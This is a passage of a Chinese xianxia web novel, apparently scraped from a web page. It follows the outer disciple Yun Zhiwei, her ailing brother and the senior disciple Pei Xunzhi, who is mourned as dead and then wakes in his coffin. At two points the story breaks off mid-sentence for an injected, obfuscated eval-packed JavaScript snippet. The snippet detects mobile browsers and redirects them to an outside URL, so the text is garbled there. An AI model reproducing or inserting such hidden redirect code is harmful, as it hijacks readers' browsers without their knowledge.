不等裴浔之回答,孤山聿瞥见不远处的云知微,立刻转移话题,用手肘拱了拱裴浔之:“啧,你看,云师妹还没走呢,在等你呢。” 裴浔之一听什么师妹师姐的来找他,就烦不胜烦。 这些人,总打着讨教剑术法术的旗号来找他。 一开始,他不疑有他,不仅将自创的《微芒剑术》编纂成册并加上批注,还真心实意地亲自进行面对面的指导;但很快,他就发现她们目的不纯,看他脸摸他剑递信送吃的……反正,什么都干,就是不认真修行。 偶尔有那么一两个,倒是发自内心地想学真本事,但,实在是…… 太,蠢,了。 蠢得惨绝人寰,蠢得鬼神同泣,蠢得他半夜都会突然惊醒问苍天大地为什么会有这么蠢的人。 他实在无法理解,为什么那些他看一眼文字记载就能立刻掌握的术法,他花了整整半盏茶的时间亲自示范三遍之后,居然还是不会。 “把她打发走,我去拿药。”裴浔之拍了拍孤山聿,转头去找医师拿此番下山要备的丹药了。 孤山聿干这事得心应手,快步走到云知微面前,笑眯眯地寒暄:“云师妹,还在这呢?” 云知微点头:“嗯!我找小师兄有事。” 孤山聿心道果然如此,于是习以为常地伸出手,体贴道:“行,给我吧,我帮你转交。” 云知微不明所以:“啊?转交什么?” 孤山聿扫了一眼云知微空荡荡的双手:“呃,那你找他是……?”心道这云师妹难不成是一股清流,一点都不觊觎裴浔之的美色和家族地位? 云知微一脸期待,背脊挺直,郑重道:“你们是不是过几日就要下山去蔚州执行任务了?我想加入!” “不行不行,绝对不行!”孤山聿一听,连连摆手,飞快拒绝,“我们此番下山十分危险,你的修为……你才五境,肯定是不行的。” 见云知微露出失望的神色,孤山聿暗叹一口气,心道这云师妹果然是一股清流,为了接近裴浔之,居然试图以身犯险。 “要不这样,”孤山聿咬了咬牙,快速扭头朝屋内的裴浔之瞅了一眼,鬼鬼祟祟地从袖中掏出一本卷起来的小册子,塞给云知微,压低声音,“这可是千金难求的好东西,我低价卖你。” 云知微一头雾水地接过来翻了翻:“这是……” “《微芒剑术》,裴浔之亲笔手抄本!全九州仅此一本!原价五百颗灵石,你给五十颗就行。”孤山聿咬牙切齿,一副忍痛割爱的模样。 云知微随手翻到一页,看了一眼那上面清秀工整的字迹,有些疑惑:“这是小师兄的字?” 孤山聿本着一颗奸商该有的黑心,伸手在自己的字上点了点,信誓旦旦道:“如假包换,童叟无欺!” 虽然孤山氏断了他的灵石,但,天资聪颖的他打着裴浔之的旗号售卖各种物件,什么人形立牌、同款无回剑、本人手抄术法等等,早就赚得盆满钵满了。 云知微想也不想,还给孤山聿:“不要,我没这么多灵石。” “没灵石?我不信。”孤山聿指了指云知微的脖子,“你这璎珞,品相上佳,至少值十万颗灵石,要不卖给我?” 云知微想起来这根璎珞方才在她遇险时的异动,它似乎不仅仅是一个昂贵的饰品。 她立刻紧紧捂住它,警惕道:“这是我娘给我的。” “行吧。”孤山聿看出云知微对这手抄本的确不感兴趣,遂放弃。 他白费了一番口舌,于是悻悻折返。 裴浔之正在清点丹药,见孤山聿回来,立刻使唤:“过来帮忙。” 孤山聿闲不住,一边核对丹药名字和数量,一边絮絮叨叨:“我说,你的绝圣境渡劫快到了,就不能安安分分待在宗门内吗?这任务你非去不可?” 裴浔之回答:“我不去,你们几个去干什么?给自己挑个风水宝地好下葬?” “……一日癫的毒性都比不过你的嘴。” 孤山聿朝天翻了个白眼。 但他不得不承认,一步登天这药涉及到妖血,那必然同妖域有关。 而一旦牵涉到妖域,的确不是普通修士可以应付的。 孤山聿很有自知之明地结束这个话题,又开启另外一个。 “我说,云师妹可真够厉害的,就为了接近你,居然还想一起下山,命都不要了。你说她是不是魔怔了?” “不过我说实话啊,她生得着实好看,若非此番下山确实危险,我还真答应带上她了。” 裴浔之反应了一下,才明白孤山聿说的是谁:“你说头上有包那个?” 他将丹药装入灵戒内,嘴里嘎嘣嚼着水果糖,面无表情道:“有什么用?就那一身稀碎的五境修为,如同没有,一下山就被人一巴掌拍死了。” 孤山聿难以理解地斜睨他一眼,不赞同道:“怎么没用了?且不论其他,样貌好看就有用啊,看着就十分赏心悦目!” 他见裴浔之露出一脸“你这人真肤浅”的鄙夷神情,怒道:“那你说说看,既然你不喜欢貌美的,那喜欢什么样的?” “嗯……” 裴浔之眯了眯眼,还真的歪头认真思考。 他随手抛起一个药瓶又接住,眉尾一挑,语气漫不经心又嚣张:“谁有本事把我打得毫无还手之力,我就喜欢谁。” “……?” 孤山聿被这个回答给噎住了。 他震惊半晌,忍不住骂道:“裴浔之你是不是有病?!” 4. 第4章 被拒绝的云知微腮帮子一鼓,吹起额前的碎刘海,一巴掌猛拍向额头,自言自语:“这可怎么办呢……” 结果不小心拍到额头上的包,又痛得龇牙咧嘴,翻了几个白眼才缓过来。 其实,是孤山聿误会了。 她之所以想加入,与小师兄无关,而是为了阿兄。 自她懂事以来,阿兄便是一副弱不禁风的病弱模样,日日咳血,受不得烈日寒风,跑几步就喘不过气。 但因囊中羞涩,养大一个云知微已是不易,他没有多的灵石去看医师。 直到云知微和回春医堂混熟后,她强行拉着阿兄去找药婆婆问诊。 药婆婆把完脉后叹了一口气,说云衔山的灵脉早已坏死,导致他心脉枯竭,活不过今年冬日。 彼时听完,她阿兄只是轻轻笑了一下,向药婆婆作揖行礼表示叨扰,一脸生死置之度外的淡然。 云知微不接受这个结果,于是背着阿兄去问药婆婆可还有破解之法。 药婆婆说,当然有。 若有九境修士愿意自损灵脉,替她阿兄修复心脉,阿兄便还能再活百年。 可是,哪有人会愿意为一个非亲非故的人损伤自己的灵脉呢? 听后,云知微发誓,今年冬日结束前,自己一定要升至九境,用灵脉为阿兄治病,这样阿兄才能继续活下去。 可不管她如何努力,仿佛有一个看不见摸不着的无底洞,无情吞噬掉她所有的修为,让她只能停滞在五境。 但她从不丧气。 因为,有人曾对她预言:“你会在蔚州升到九境。” “若有去蔚州的任务,一定要参加。” 因而,她一直在留意宗门发布的下山任务,观察是否有去蔚州的。 等了好几年都没等到,不曾想,三日前居然一下等来两个去蔚州的任务! 一个是难度为甲一级的任务,任务内容不明,由裴浔之带队,加入门槛是七境以上。 另一个则是丁三级的任务,去蔚州清理妖气,难度最低,不设门槛,哪怕一境也能参加。 云知微自然想去裴浔之那队。 若是参加一个毫无难度的任务,又如何能突破瓶颈从而达到九境呢? 可意料之中的是,自己因为修为不足,无法加入裴浔之的队伍。 如此一来,那她只能参加那个丁三级任务吗?会不会是在浪费时间? 云知微揪着辫子,一边思索,一边原地转圈。 转了几圈后,她停下,伸手打开腰间佩囊,探入其中,抓了一把柔软的花瓣出来,扬手洒向空中。 在洋洋洒洒的五彩花瓣雨中,她紧紧闭上眼,口中念念有词:“好事发生!” 话音刚落,在清幽花香中,一缕格格不入的诱人饼干香气猛然扑鼻而来。 云知微睁开眼,看见一脸紧张而茫然的小医女,怀里抱着一包装满了小饼干的油纸。 小医女递上小饼干,垂下眼睫,小声道:“云师姐,就……就这些了,我……我做更多再给你。” “哈!果然有好事发生!百试百灵!”云知微接过油纸包,迫不及待抓了几块小饼干扔进嘴里,立刻开吃,脸颊撑得鼓鼓囊囊。 她赞不绝口:“唔!好好次啊!你叫我微微就好啦!你叫森么名字吖?” 小医女愣了一下,有些犹豫地搓了搓衣角,回答:“我,我叫紫藤。” “噢噢,你是新来的吗?我从前不曾见过你呢。”云知微一边嚼小饼干,一边好奇地打量紫藤。 紫藤一点头,算是回答了,然后岔开话题:“云师……微微,我方才听见你和药婆婆的对话,你想找医圣李青培为你阿兄治病是不是?你或许可以去蔚州看看。” 怎么又是蔚州?蔚州到底有什么啊? 云知微一听,急速将嘴里的小饼干们囫囵个吞下去,胡乱擦了一把嘴角的饼干碎屑,期待地瞪大眼:“为什么?” 紫藤回答:“蔚州有个医堂,叫济世堂。堂主名唤李榴火,是医圣李青培的大弟子,医术同李青培不相上下;因为看不惯李青培只为裴氏治病,早年间已叛出药王谷;李医师一心悬壶济世,若患者囊中羞涩,便分文不收,所以你可以……” 云知微眼睛一亮,一把捧住紫藤的脸,猛亲一口道:“太好了,谢谢你呀小阿藤!” 就算无法升到九境,找李榴火医师也是一个十分有希望的法子。 真是柳暗花明又一村啊。 紫藤被这么一亲,登时红了脸,登时结巴起来:“你……我……” 云知微将紫藤的脸猛搓一顿,然后开开心心地哼着歌儿,晃晃荡荡地拎着小饼干,蹦蹦跳跳离开回春医堂,迫不及待回百花峰去了。 *** 百花峰,乃天墟宗外门弟子的居所之一。 它位于天墟宗外门的最外围,地势偏僻,灵气稀薄,鸟不拉屎。 唯一值得一提的是,漫山遍野都开满了各种各样的花。 春有芍药,夏有茉莉,秋有海棠,冬有腊梅,花香终年浓郁,四季不散。 咵咵咵—— 山腰上的一座简陋小院中,传出一阵缓慢的钝刀剐蹭竹片声。 一个样貌二十出头的青年,坐在一张竹子编成的矮凳上,手握一把有着两三个小缺口的菜刀,正一丝不苟地打磨手中一件物什。 他一头柔顺白发垂落在月白长袍上,乌黑卷翘的鸦睫下垂,半遮住一只圆润修长的桃花眼;另一只眼,则被一片纯白的眼罩覆盖住;鼻子高挺,唇形若花,皮肤白皙薄透,似乎一捏就能掐出水。 人生得极为漂亮,可惜眼眶乌青,嘴唇泛白,时不时掩唇咳嗽几声,周身罩着一层淡淡的病气。 这青年便是云知微的阿兄,云衔山。 嘎吱—— 小院半掩的柴门被推开,蹿进来三个七八岁的小修士。 其中一个小修士捡起地上一颗小石头,朝云衔山扔去,道:“喂,白瞎子娘娘腔,你在做甚么呢?” 小石头打在云衔山的脚下,他抬眸,眼神干净,温和一笑,没回答。 “你看你看,我就说了吧,他不仅是瞎子,还是个哑巴!”那三个小修士互相挤眉弄眼,脸上露出恶作剧的笑容。 一个人猛冲上前,夺走云衔山手中的菜刀,另外两个则抢过他的物什,撒丫子就跑。 云衔山连忙起身,一瘸一拐地追他们。 “哈哈哈!还是个瘸子!” 三个小修士得意大笑,站在门口扮鬼脸:“略略略,来追我们呀!一个大男人,像个女人一样!” “走开走开!你们三个小兔崽子!” 一个身着橙色麻布衫的少年出现,劈手拿回菜刀和物什,横眉瞪眼。 “再来这里捣乱,仔细我去找你们师父!” 他们三人一听,吐了吐舌头,立刻一溜烟跑不见了。 橙衣少年放下菜刀和物什,去扶一瘸一拐的云衔山,愤愤道:“真是上梁不正下梁歪,我上次就听他们师父说你坏话,说你娘娘腔!” 云衔山面上并无一点怒容,只是温和一笑,打手势反问:“坏话?” 橙衣少年一怔,显然是没明白云衔山的意思,于是强调一遍:“他们说你像个女人啊。” 云衔山手撑着椅子边缘,坐下来,认认真真地打手势回答橙衣少年:“像女人,是好话。帝主之后,唯一一位拿到九州帝印的,就是女人。” 然后伸手去捡地上的菜刀。 “呃,也是。”橙衣少年一愣,觉得有理,于是换了个话题,“衔山哥哥,你身子不好就别费这劲了,赶紧歇会儿吧。” 这少年名唤罗不敢,外号“萝卜干”。 头扁背薄,身材干瘦,又一身橙色,像极一片腌过的萝卜干。 罗不敢是云衔山和云知微的隔壁邻居,也是天墟宗的外门弟子。 他比云知微大三岁,五岁入道,如今十八,前几日刚好晋入六境,只要再通过百日后的考核,便能正式进入内门了。 他虽天赋上佳,但性格实在软弱,经常被比自己修为低的弟子们欺负。 他本为自己的境遇自怜,独来独往,但有一次,无意中看见云衔山被几个小修士用石头猛砸到额头出血,竟不恼不还手,只是慢吞吞地擦干血迹,没事人一样回家了,还笑盈盈地告诉云知微是自己不小心摔了一跤。 见状,罗不敢大喜。 找到同类了!居然有比他还要窝囊的人! 往后,他便时常溜到此间小院里来,找从来不会发脾气的云衔山和从来不会欺负人的云知微玩儿。 云衔山从袖中掏出一块帕子,掩嘴咳嗽,从胸腔中震出连续不断的剧烈咳嗽。 咳出一团黑色粘稠凝液体后,他快速将帕子捏成一坨往袖中一塞,然后摆摆手安慰惊慌的罗不敢,示意自己无妨,坚持让罗不敢将菜刀给他。 罗不敢无奈,将菜刀还给云衔山,嘴上继续劝道:“哎真的,你歇会儿吧,这事也不着急吧?” 他碰到云衔山的手,心中一叹。 从外貌上看,云衔山长了一副温柔漂亮的贵公子模样,可双手的掌心有着粗糙的纹路,修剪得整齐的指甲黯淡无光,甚至有几个带着些许裂痕,明显是一双经常劳作的手。 这十几年,云衔山在天墟宗靠做杂役赚取灵石,将云知微一点点养大。 云衔山比了个手势,意思是“微微喜欢”,然后埋头继续打磨。 “嗐,云知微又不是真的喜欢裴浔之,不过就是正常的少女怀春,过几天就消停了换个人喜欢。衔山哥哥,她这就是在胡闹嘛,你何必这般惯着她。” 罗不敢蹲在云衔山身边,嫌弃地斜睨地上那物什,生无可恋地闭了闭眼,只觉双目受到了惨无人道的戕害。 那是一块与裴浔之等高的人形立牌。 前些时日,孤山聿那奸商在天墟宗高价兜售此物,一开始还算良心,标价五十颗灵石,结果,被狂热的裴浔之追随者们哄抬至一千颗灵石。 云知微把藏在床底下的存钱罐翻了个底朝天,最终也只凑齐十颗灵石,于是跺着脚恨恨放弃了。 云衔山知道后,便以竹片为底,再用丹青描绘涂抹,居然真的做出一个八九分像的裴浔之竹制立牌,打算给云知微一个惊喜。 眼下,这竹制立牌已基本成型了,只是精益求精的云衔山还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143302|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用菜刀打磨边缘稍有毛刺处。 云衔山手上不停,只是温温柔柔地一笑。 罗不敢继续碎碎念道:“衔山哥哥,你得劝劝云知微,让她把心思放在修行上。来算一算啊,她晋入五境后到如今已满五年了吧?整整五年啊,她可真是半点长进都没有。” “我呢,资质普通,但我晋入五境后,日夜努力,只两年就晋入六境了。” 在九州,五境是入道修行的门槛。 能过五境,便说明具备了基本的修道天赋。 而从五境到六境,主要靠的是后天努力,一般人五年就够了,勤快一点的,像罗不敢这种,苦修两年就能成。 可云知微,居然在五境停滞了整整五年,可不就说明她没花心思? 闻言,云衔山摇摇头,拿着菜刀比划:“微微很厉害,她只是暂时遇到瓶颈,倘若……” “好好我不说了,你继续弄。”罗不敢望着云衔山手中的菜刀,后退一步,举手做投降状,然后指了指院中石桌上一篮翠绿的油菜,“我帮你择菜吧。” 他坐到石桌边,磨洋工似的择了几根,看着手中的剩菜叶子,眼珠子不怀好意地一转。 趁云衔山不注意,他捡起一片菜叶子,眼睛一眯,对准立牌“裴浔之”的脸,准备扔过去。 “阿兄阿兄,我回来啦!” 就在罗不敢手起菜落的那一瞬间,云知微吱呀一声推开柴门,蹦蹦跳跳地跑进来,然后脚步一顿,面露喜色,高呼一声。 “小师兄?!我的我的!” 她急吼吼地冲上前,一脚踢翻蹲在地上的罗不敢。 “萝卜干儿你个坏东西你住手!” 云知微推开罗不敢,兴冲冲地将“裴浔之”夹在胳膊肘下,足下生风回到自己的厢房,将其放好。 然后手舞足蹈地冲出来,一把搂住云衔山的脖子,甜甜道:“谢谢阿兄!阿兄是全九州最好的哥哥!我最喜欢阿兄了!” 云衔山笑着摸摸云知微的头。 罗不敢拍着屁股上的灰站起来,在一旁忿忿不平道:“啧,女人的话是真不能信,你不是最喜欢裴浔之吗?前两日还说什么‘小师兄好厉害啊快晋入绝圣境了我最喜欢小师兄了’。我就不明白他有什么好厉害,若我是个世家少主,我不见得比他差……” 云知微捡起剩菜叶子,砸向罗不敢:“闭嘴!你连我都打不过,好意思跟小师兄比呢!小心我把你腌成萝卜干!” 罗不敢虽比云知微高一个境界,但输在气势上,两人多年对打中,他反倒是个常败将军。 两人扭打在一起,直到云衔山忙进忙出摆好一桌饭菜,方才以罗不敢求饶告终。 饭桌上,云知微清了清嗓子,兴高采烈地宣布:“阿兄,宗门有个丁三级任务,是去蔚州清除妖气的,我打算去!” 云衔山给云知微夹了一大坨红烧肉,冲她竖起两个大拇指,鼓励一笑。 罗不敢则一脸惊讶道:“啊?丁三级?这种低级任务对修为没有任何提升啊?” 旋即怀疑地盯着云知微:“裴浔之也要去蔚州,你难不成是想去见他?” 云知微一心扑在云衔山做的美味佳肴上,没空搭理他。 罗不敢没滋没味地扒拉几口白米饭,幽怨地瞥了眼吃得摇头晃脑的云知微,暗自撇了撇嘴。 他是个普通人,家中无法为他提供任何修行资源,全靠他自身的天赋和努力才得以进入天墟宗;因而,他一向对裴浔之崔九斯这种含着金汤匙出生的世家子弟没有任何好感。 他将饭咽下后,忍不住摆出一副长辈姿态,清了清嗓子:“咳咳,我说,云知微啊。” “嗯?”云知微眨巴两下眼,腮帮子被红烧肉塞得鼓鼓囊囊,像一只小仓鼠。 “你喜欢裴浔之没问题,但万万不可把人生重心放在他身上、以他为目标……”罗不敢语重心长。 云知微一挥筷子,打断他:“我知道,阿兄说过的,靠人不如靠已!” “不是,我是想说,你若以裴浔之为目标的话,” 罗不敢清了清嗓子,脸上露出一丝不怀好意的贱笑。 “万一他执行任务遇到不测,死透了,你的目标不就没了吗?我建议,你换个不会死的人来喜欢。” “咳咳!”云知微被饭菜呛住,气红了脸,杏眸瞪得溜圆,把筷子扔向一说完话就立刻脚底抹油开溜的罗不敢,火速追上去暴揍他,并大声反驳,“胡说!小师兄才不会死呢!” 罗不敢挨揍的惨叫声连绵不绝,回荡在这一方简陋的小院中,惊走栖在树上的一群鸟雀。 “胡说……小师兄才不会死呢……” 七日后,同样是晚膳时分,云知微坐在院中石凳上,正在夹肉的筷子停滞在半空中,最终随着手指一抖啪嗒一声落到桌面上。 刚听到消息就狂奔回百花峰的罗不敢搓了搓手,脸上神情是前所未有的不安。 他站在云知微身边,没敢坐下,小心翼翼地弯腰,一边观察她的表情,一边十分愧疚道: “微微,我没胡说,是宗主亲口说的。” “裴浔之下山执行任务,没能扛过绝圣境的渡劫,殁于蔚州,命灯已灭。” 5. 第5章 天墟宗,祠堂外。 寒凉的晚间阴风刮过,廊下悬挂的六角花灯来回晃动,投下影影绰绰的昏黄光线,青灰色的檐铃互相碰撞发出一阵阵清幽哀鸣。 一群修士腰缠白布,手捧香烛,垂首敛眉立于走廊间。 熠熠烛火照亮他们或哀恸、或木然、或事不关己的神情。 人群末尾,一高一矮两名在修士窃窃私语。 “裴浔之这一死,神都裴氏定然拿不到帝王印了,那仙庭陆氏岂非一家独大,有望统一九州?” “你忘了还有玉京崔氏?” “啧,崔氏式微,这一辈没什么人才,早就不成气候了。” “也是。这裴氏倒是人才辈出,但都不得善果,前有裴见霜但背叛九州,后有裴浔之但英年早逝……真是族运衰败啊……” “二位师兄好,小师兄真的死了吗?会不会有什么转机呢?” 突然,一个声音从他俩背后响起。 那高个子修士被人打断对话,面露不悦,转头一看,发现是个貌美小姑娘,于是脸色瞬间阴转晴,眯了眯眼道:“你不知道吗?裴浔之是晋入绝圣境失败,死得透透的,何来转机?” 云知微眨巴两下眼,依旧一脸疑问:“可小师兄这么厉害,又有六位八境和九境长老为他护法,还身怀帝王骨……” “说到那六位护法长老,”高个子打断云知微,压低声音,“我听说呀,他们也受到天劫的强烈反噬,悉数命陨了。” “啊……”云知微怔然。 “这么说吧,你可知绝圣境为何叫绝圣境?”高个子见云知微一副什么都不知道的样子,开始卖弄见闻。 云知微摇了摇头。 “所谓绝圣境,乃九州修道的至高境,千百年来成功晋入的人屈指可数,拿前九境来说,等修为到了,自然能晋入;可绝圣境不一样,绝圣境有一个天劫。” 高个子抑扬顿挫道来,短暂停下卖了个关子。 “渡劫成功,便成圣;可若失败,魂魄消散,不入轮回,则为‘绝’,是死绝的‘绝’。” 最后一个“绝”字,宛若一道雷,轰然砸下,令人心惊肉跳。 咚—— 随着一声浑厚敲钟声,修士们停止窃窃私语。 祠堂内,传出一个诵念悼词的苍老声音。 “神都裴氏,名浔之,自幼聪慧,天资卓绝,身怀帝王骨,十三晋入九境……” 云知微努力地伸长脖子,踮起脚尖往上跳,也只能看乌泱泱的人头和高悬的祠堂牌匾。 冗长的悼词念完后,修士们挨个进入祠堂供灯哀悼。 顺序是按照内外门和修为境界来排的,整整两个时辰后,才轮到云知微。 祠堂内,正中央摆着一张七尺长的供桌。 一张垂至地面的黑色绸布覆盖在供桌上,供桌上堆满香烛和鲜花水果,中间是三根燃烧的高香和一盏外形古朴精致的灯。 那便是裴浔之的命灯。 命灯底座由银漆紫点的寒铁玄晶铸就,灵珠打磨的通透灯壁上阴雕出密密麻麻的符文和神都的飞龙雷芒纹,薄如蝉翼的云霞绢纱灯罩上纂刻着“裴浔之”三字。 灯罩是一片漆黑,的确是命灯已灭。 供桌后面,从房顶上垂下一块厚厚的白布,被风吹起时,能隐约窥见里边有一具硕大的金丝楠木棺椁。 云知微供完香烛,膝盖刚刚沾上蒲团,一个字都没来得及说,就被负责祭奠的执事长老无情驱赶:“速速离去,莫要在此逗留惊扰亡魂!” “可是长老,我还有话想对……”云知微眼巴巴地望着长老。 就在此时,又一拨人熙熙攘攘地涌进祠堂,云知微被撞了一下,腰间佩囊掉落,她却毫无知觉。 为了这场悼念,执事长老脚不沾地忙活了好几日,已是疲劳不堪,十分不耐烦道:“人都死了,还说……” 可是云知微一副可怜兮兮的乖觉模样实在惹人怜爱,于是他不自觉地放缓语气:“后面还有许多人呢孩子,快回去吧。哎你佩囊掉了。” 云知微不再坚持,乖巧应下:“好的,谢谢长老。” 直到夜深露重,繁星如织,众人方才散去。 最后一个离开的,是执事长老。 他扫了一眼黑漆漆的命灯和空荡荡的祠堂,长叹一口气,锁好祠堂门,离开。 祠堂终于重归宁静。 突然,供桌上的黑色绸布动了动,一只洁白纤细的手将绸布撩起来,黑暗中露出一张桃羞杏让的巴掌脸。 云知微手脚并用,从供桌下爬出来。 方才,她并未离开,而是假装自己的佩囊被人撞落,借在地上寻找佩囊之际,绕到供桌侧面,捏了个隐身诀,钻到供桌下方去。 好在执事长老今日太过劳累,再加上祭奠还要持续三日,他走前便没有认真检查。 此刻,阴冷的晚风从窗棂门扉缝隙中钻进来,吹得祠堂中烛火明明灭灭,宛若鬼火,将云知微的身影撕扯得张牙舞爪,氛围尤为瘆人。 云知微却浑然不觉。 她抹掉脸上的香灰,拍走衣裳的灰尘,理好散乱的头发,端庄地跪坐在蒲团上,双手合十,望着裴浔之的命灯,一脸郑重地轻声呢喃:“小师兄,你走好呀。” 然后认真拜了三拜。 拜完后,她从灵戒中掏出一本小册子,十分珍重地捧在手里,道:“小师兄,孤山师兄骗不到我,这才是你的真迹呢。” 那本小册子封面上书“微芒剑术”,和孤山聿四处贩卖的那本完全一样。 可若翻看内页,便会发现,云知微这一本的批注字迹则迥异。 孤山聿那本,字迹一笔一划写得十分工整;而她这本,字迹龙飞凤舞,一眼扫去,根本无法辨认所写内容。 “小师兄,若没有你,我可能连五境都没有。” 云知微说完这句,几滴眼泪顺着白皙的脸蛋滑落,吧嗒落在《微芒剑术》上。 在天墟宗,外门弟子地位很低,没有手把手教学的师父,只能靠每月一日去蹭内门的公开讲学。 对于普通的外门弟子,从开始修行到晋入五境,一般需要二十年。 但她只花了五年时间;于她而言,裴浔之功不可没。 那样温柔又厉害的小师兄,怎么就这么没了呢…… 云知微越想越难过,泪水蓄满眼眶,不要钱似的往下落。 她逐渐无法控制情绪,从低声啜泣,变成撕心裂肺的嚎啕大哭。 哭得太厉害,以至于没一会儿就哭渴了,于是哭着站起身,从供桌上挑了一个最小的苹果,啃了一大口。 可没想到的是,这苹果,实在太酸了…… 一想到小师兄死了都吃不到甜甜的苹果,只能吃酸苹果,云知微更加悲从中来。 她努力将酸苹果啃完,然后哭倒在蒲团上,不住抽泣。 “呜呜呜,苹果怎么这么酸啊!” “呜呜呜,这个绝圣境太没道理了啊,为什么不过就直接死啊!!!到底是哪个坏人规定的?!呜呜呜小师兄早知道你就不要去晋什么绝圣境啊呜呜呜……” “也不见裴氏来送点好吃的,呜呜呜小师兄你太可怜了……” “呜呜呜,小师兄,你下辈子当个平凡人吧,同我成亲,我会对你很好的呜呜呜……” 云知微哭得太过投入,以至于没听见供桌后面传来一个棺椁盖被人推开的“吱呀”声。 *** “坚持,再坚持一下就能晋入绝圣境了……” “入了绝圣境,才能参加帝主试炼,拿到九州帝印……必须要拿到帝印……” 裴浔之紧咬牙关,迷迷糊糊地想,鼻尖嗅到一丝若有如无的香甜水果糖气味。 滚滚天雷强势劈下,不由分说地灌入他四肢百骸,无比苛刻地锤炼他每一根骨头、每一条经脉乃至每一寸肌肤。 仿佛有上万人拿着锤子,重重敲击他身体每一处;锤子每一次的敲击都毫不留情,是足以让人神魂俱灭的凶狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143303|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力度。 好在,自出生后他每日都在高强度修炼的体魄,早已是千磨万击百炼成钢,硬是生生扛过了这道天劫。 最终,他成功晋入绝圣境! 但喜悦的心情尚未完全涌上来,他整个身子猛然一轻,体内的帝王骨被人强行抽走!? 得逞的笑容,碧绿色的瞳孔,无回剑的气息,浓郁的血腥味,骇人的厮杀声……各种乱七八糟的景象和感官纷至沓来,而帝王骨离他越来越远。 “还给我!” 裴浔之艰难起身,伸手去抓。 就在他的手指触及帝王骨的那一瞬间,帝王骨快速变形,变成了—— 一个苹果。 与此同时,耳边传来隐隐约约的少女哭泣声。 “呜呜呜……苹果怎么这么酸……” 怦! 裴浔之感觉身体急速下坠,重重砸到一块硬木板上。 他陡然睁开眼,额头冷汗岑岑,呼吸急促。 原来做了一场噩梦。 尽管尚未完全清醒,但他立刻意识到发生了什么事:自己成功晋入绝圣境,可帝王骨被人夺走;而出于某种原因,宗门误以为他死了,因此将他的“尸身”放入这副棺椁。 裴浔之不但没有因为自己还活着而庆幸,反而被一股震怒和恐惧所笼罩。 因为,他的修为,居然跌到三境了! 帝王骨,作为九州帝主的馈赠,是无上的荣耀和巨大的加持,上面凝结了他几乎所有的修为! 裴浔之推开棺椁盖,新鲜空气钻入,他深呼吸一口气,命令自己先镇定。 他的视线快速一扫棺椁,在一堆灵石珠宝里,捕捉到一盒水果糖。 他眉眼间的戾气淡了些许,伸手将其捡起,打开,随手摸了一颗黄色糖果,扔进嘴里。 水果糖的香气萦绕于齿间,使得他神志清醒了许多,却压不住烦闷暴躁的情绪。 帝主试炼将于明年开启,只有晋入绝圣境的修士,才有资格进入该试炼,争夺帝印。 身为众星拱月的神都二少主,又被无数人垂涎的帝王骨选中,他生来就肩负寻得帝印、助裴氏重新统一九州的神圣使命。 若是只有三境修为,他根本无法于一年内晋入绝圣境。 帝王骨如今在哪里? 谁在他绝圣渡劫时动了手脚? 他为什么还活着? …… 思绪杂乱交织在一起,尚未理清头绪,突然闻得方才梦里那个哭泣的女声更加清晰了。 裴浔之心烦意乱,跨出棺椁,掀开白色布帘,看见一团嫩鹅黄色趴在这一方被布置得阴气森森的祠堂里。 墨发散在地上,白皙的手垂在地上,手中还攥着一个啃得干干净净只剩核的苹果。 …… 裴浔之无语地扯了扯嘴角。 吃他的贡品不说,还嫌弃酸;而嘴上嫌弃酸,吃得倒挺干净。 什么人呐? 裴浔之满心满脑都是帝王骨的事,打算立刻去找宗主,于是无视哭丧的小姑娘,径直走到门边,准备推门离开。 这时,恰好听那团嫩鹅黄抽抽涕涕道:“呜呜呜小师兄,你下辈子当个平凡人吧,跟我成亲……” 听见这话,裴浔之脸都黑了。 这人怎么咒他呢! 什么叫当个平凡人? 他裴浔之这一生,宁可死得轰轰烈烈,绝不做什么平凡人! 下辈子也不可能! “咒谁呢?”裴浔之盯着那一团碍眼的嫩鹅黄,忍不住脱口而出,没好气道,“死心吧,谁要跟你成亲?” 他一边说,一边推开门,一阵阴凉晚风灌入祠堂。 裴浔之脚已抬起,还没迈出门槛,就见那嫩鹅黄衣裙少女坐起身,泪眼婆娑地看向他。 这一刹那,他的脚在落下时一顿,踩在门槛上,定住。 烛光明灭中,那少女一枝梨花春带雨,宛若上神苦思百年后落下惊鸿一笔,般般入画来。 6. 第6章 “死心吧,谁要跟你成亲?” 云知微听见有人说话,回头看去。 一个黑衣少年倚门而立,背后是浓郁的夜色和氤氲的圆月,似乎是刚从外面进入祠堂。 隔着泪眼,她看不清少年的容貌,但其身形却极为熟悉。 心脏没来由地重重一跳。 她抹了一把眼泪,瞪大眼,看清少年样貌后,猛地起身,手中苹果核啪嗒一声落地,音量陡然抬高:“小师兄?” 裴浔之抬了抬下巴,喉咙里闷出一个散淡的“嗯?”声,算是应了。 云知微飞快看了一眼供桌上那盏黑漆漆的命灯,又转过头来,视线牢牢钉在裴浔之脸上,声音疑惑:“你是谁啊?” 裴浔之本不想在此浪费时间,但视线在云知微那泛红的眼尾上逗留一瞬,还是鬼使神差地回答了:“你说呢?” 摆出一脸“不然呢”的表情。 云知微在原地定了片刻,突然以迅雷不及掩耳之势,猛地伸出手,抓起供台上一个大苹果,毫不留情地朝裴浔之扔去。 “……!” 按照常理来说,裴浔之就算只有三境修为,凭借他高于常人的反应,也是能轻松躲过的。 